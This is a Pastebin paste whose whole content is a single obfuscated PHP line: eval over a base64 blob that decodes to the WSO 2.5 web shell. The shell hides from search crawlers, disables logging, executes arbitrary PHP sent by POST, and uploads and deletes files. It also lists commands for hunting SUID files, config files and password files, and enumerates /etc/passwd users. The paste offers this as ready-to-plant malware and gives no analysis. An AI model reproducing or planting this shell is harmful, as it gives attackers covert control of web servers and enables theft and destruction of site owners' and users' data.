SHARE
TWEET

Untitled

a guest Aug 23rd, 2019 78 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php eval("?>".base64_decode("PD9waHAKJGF1dGhfcGFzcyA9ICJmNjE1MzE5MTAxYjE3ODQwNWIzNzEwNTQ4NjQ5NzBlMSI7CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CiAKaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKICAgIGlmKHByZWdfbWF0Y2goJy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKICAgICAgICBleGl0OwogICAgfQp9CiAKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnV1NPX1ZFUlNJT04nLCAnMi41Jyk7CiAKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewogICAgICAgIGZ1bmN0aW9uIFdTT3N0cmlwc2xhc2hlcygkYXJyYXkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXl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AkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkZGVmYXVsdF91c2VfYWpheDsKIAppZigkb3MgPT0gJ3dpbicpCiAgICAgICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAgICAgICAgICJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKICAgICAgICAgICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAogICAgICAgICAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIgogICAgICAgICk7CmVsc2UKICAgICAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsCiAgICAgICAgICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwKICAgICAgICAgICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLAogICAgICAgICJwcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiAgICAgICAgICAgICAgICAiRmluZCIgPT4gIiIsCiAgICAgICAgICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgICAgICAgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLAogICAgICAgICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAgICAgICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogICAgICAgICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIi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mIiwKICAgICAgICAgICAgICAgICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCiAgICAgICAgICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKICAgICAgICAgICAgICAgICJsb2NhdGUgbXkuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBteS5jb25mIiwKICAgICAgICAgICAgICAgICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKICAgICAgICAgICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKICAgICAgICAgICAgICAgICJsb2NhdGUgY29uZi5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZi5waHAiLAogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMiLAogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCiAgICAgICAgICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAogICAgICAgICAgICAgICAgImxvY2F0ZSBjb25maWcqIGZpbGVzICIgPT4gImxvY2F0ZSBjb25maWciLAogICAgICAgICAgICAgICAgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCiAgICAgICAgICAg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kgewogICAgICAgICAgICAgICAgaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsKICAgICAgICAgICAgICAgIGlmKGMhPW51bGwpZC5tZi5jLnZhbHVlPWM7ZWxzZSBkLm1mLmMudmFsdWU9Y187CiAgICAgICAgICAgICAgICBpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CiAgICAgICAgICAgICAgICBpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87CiAgICAgICAgICAgICAgICBpZihwMyE9bnVsbClkLm1mLnAzLnZhbHVlPXAzO2Vsc2UgZC5tZi5wMy52YWx1ZT1wM187CiAgICAgICAgICAgICAgICBpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICAgICAgZC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgICAgIHZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkLm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspCiAgICAgICAgICAgICAgICAgICAgICAgIHBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CiAgICAgICAgICAgICAgICBzcignIiAuIGFkZHNsYXNoZXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcGFyYW1zKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKICAgICAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpCiAgICAgICAgICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpCiAgICAgICAgICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOwogICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsKICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewogICAgICAgICAgICAgICAgaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4Z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pZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQogICAgICAgICAgICAgICAgJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdMaW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAkZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpKTsKICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAgICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAgICAgICAgICR1aWQgPSBAZ2V0bXl1aWQoKTsKICAgICAgICAgICAgICAgICRnaWQgPSBAZ2V0bXlnaWQoKTsKICAgICAgICAgICAgICAgICRncm91cCA9ICI/IjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwogICAgICAgICAgICAgICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICAgICAgICAgJHVzZXIgPSAkdWlkWyduYW1lJ107CiAgICAgICAgICAgICAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAgICAgICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgICAgICAgICAkZ2lkID0gJGdpZFsnZ2lkJ107CiAgICAgICAgfQogCiAgICAgICAgJGN3ZF9saW5rcyA9ICcnOwogICAgICAgICRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgJG49Y291bnQoJHBhdGgpOwogICAgICAgIGZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7CiAgICAgICAgICAgICAgICAkY3dkX2xpbmtzIC49ICI8YSBoc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ICAgICAgICAgICAgICAgICRvdXQgLj0gZnJlYWQoJGYsMTAyNCk7CiAgICAgICAgICAgICAgICBwY2xvc2UoJGYpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJG91dDsKfQogCmZ1bmN0aW9uIHdzb1ZpZXdTaXplKCRzKSB7CiAgICAgICAgaWYoJHMgPj0gMTA3Mzc0MTgyNCkKICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKICAgICAgICBlbHNlaWYoJHMgPj0gMTA0ODU3NikKICAgICAgICAgICAgICAgIHJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA0ODU3NiApIC4gJyBNQic7CiAgICAgICAgZWxzZWlmKCRzID49IDEwMjQpCiAgICAgICAgICAgICAgICByZXR1cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHJldHVybiAkcyAuICcgQic7Cn0KIApmdW5jdGlvbiB3c29QZXJtcygkcCkgewogICAgICAgIGlmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkaSA9ICdzJzsKICAgICAgICBlbHNlaWYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CiAgICAgICAgZWxzZWlmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkaSA9ICdiJzsKICAgICAgICBlbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0gMHg0MDAwKSRpID0gJ2QnOwogICAgICAgIGVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CiAgICAgICAgZWxzZWlmICgoJHAgJiAweDEwMDApID09IDB4MTAwMCkkaSA9ICdwJzsKICAgICAgICBlbHNlICRpID0gJ3UnOwogICAgICAgICRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7CiAgICAgICAgJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwogICAgICAgICRpIC49ICgoJHAgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKICAgICAgICAkaSAuPSAoKCRwICYgMHgwMDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOwogICAgICAgIHJldHVybiAkaTsKfQogCmZ1bmN0aW9uIHdzb1Blcm1zQ29sb3IoJGYpIHsKICAgICAgICBpZiAoIUBpc19yZWFkYWJsZSgkZikpCiAgICAgICAgICAgICAgICByZXR1cm4gJzxmb250IGNvbG9yPSNGRjAwMDA+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKICAgICAgICBlbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQogICAgICAgICAgICAgICAgcmV0dXJuICc8Zm9udCBjb2xvcj13aGl0ZT4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOwogICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHJldHVybiAnPGZvbnQgY29sb3I9IzI1ZmYwMD4nIC4gd3NvUGVybXMoQGZpbGVwZXJtcygkZikpIC4gJzwvZm9udD4nOwp9CiAKZnVuY3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAgfSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAgICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZpbGVzOwogICAgfQp9CiAKZnVuY3Rpb24gd3NvV2hpY2goJHApIHsKICAgICAgICAkcGF0aCA9IHdzb0V4KCd3aGljaCAnIC4gJHApOwogICAgICAgIGlmKCFlbXB0eSgkcGF0aCkpCiAgICAgICAgICAgICAgICByZXR1cm4gJHBhdGg7CiAgICAgICAgcmV0dXJuIGZhbHNlOwp9CiAKZnVuY3Rpb24gYWN0aW9uU2VjSW5mbygpIHsKICAgICAgICB3c29IZWFkZXIoKTsKICAgICAgICBlY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICBmdW5jdGlvbiB3c29TZWNQYXJhbSgkbiwgJHYpIHsKICAgICAgICAgICAgICAgICR2ID0gdHJpbSgkdik7CiAgICAgICAgICAgICAgICBpZigkdikgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3Bhbj4nIC4gJG4gLiAnOiA8L3NwYW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCR2LCAiXG4iKSA9PT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkdiAuICc8YnI+JzsKICAgICAgICAg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gIHdzb1NlY1BhcmFtKCdVc2VyZnVsJywgaW1wbG9kZSgnLCAnLCR0ZW1wKSk7CiAgICAgICAgICAgICAgICAkdGVtcD1hcnJheSgpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGljaCgkaXRlbSkpCiAgICAgICAgICAgICAgICAgICAgICAgICR0ZW1wW10gPSAkaXRlbTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pCiAgICAgICAgICAgICAgICAgICAgaWYod3NvV2hpY2goJGl0ZW0pKQogICAgICAgICAgICAgICAgICAgICAgICAkdGVtcFtdID0gJGl0ZW07CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxici8+JzsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdIREQgc3BhY2UnLCB3c29FeCgnZGYgLWgnKSk7CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgICAgICBlY2hvICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgICAgIGlmIChpc3NldCAoJF9QT1NUWydwMiddLCAkX1BPU1RbJ3AzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydwMiddKSAmJiBpc19udW1lcmljKCRfUE9TVFsncDMnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkdGVtcCA9ICIiOwogICAgICAgICAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdWlkKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyLz4nOwogICAgICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdVc2VycycsICR0ZW1wKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnT1MgVmVyc2lvbicsd3NvRXgoJ3ZlcicpKTsKICAgICAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyx3c29FeCgnbmV0IGFjY291bnRzJykpOwogICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLHdzb0V4KCduZXQgdXNlcicpKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICB3c29Gb290ZXIoKTsKfQogCmZ1bmN0aW9uIGFjdGlvblBocCgpIHsKICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCcsIHRydWUpOwogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7CiAgICAgICAgICAgICAgICBlY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCAwKTsKIAogICAgICAgIHdzb0hlYWRlcigpOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDInXSA9PSAnaW5mbycpKSB7CiAgICAgICAgICAgICAgICBlY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3R5bGU+LnAge2NvbG9yOiMwMDA7fTwvc3R5bGU+JzsKICAgICAgICAgICAgICAgIG9iX3N0YXJ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heCB2YWx1ZT0xICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsKICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvcHJlPjwvZGl2Pic7CiAgICAgICAgd3NvRm9vdGVyKCk7Cn0KIApmdW5jdGlvbiBhY3Rpb25GaWxlc01hbigpIHsKICAgIGlmICghZW1wdHkgKCRfQ09PS0lFWydmJ10pKQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7CiAgIAogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnbWtkaXInOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAnZGVsZXRlJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWxldGVEaXIoJHBhdGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGggID0gb3BlbmRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoICgkaXRlbSA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI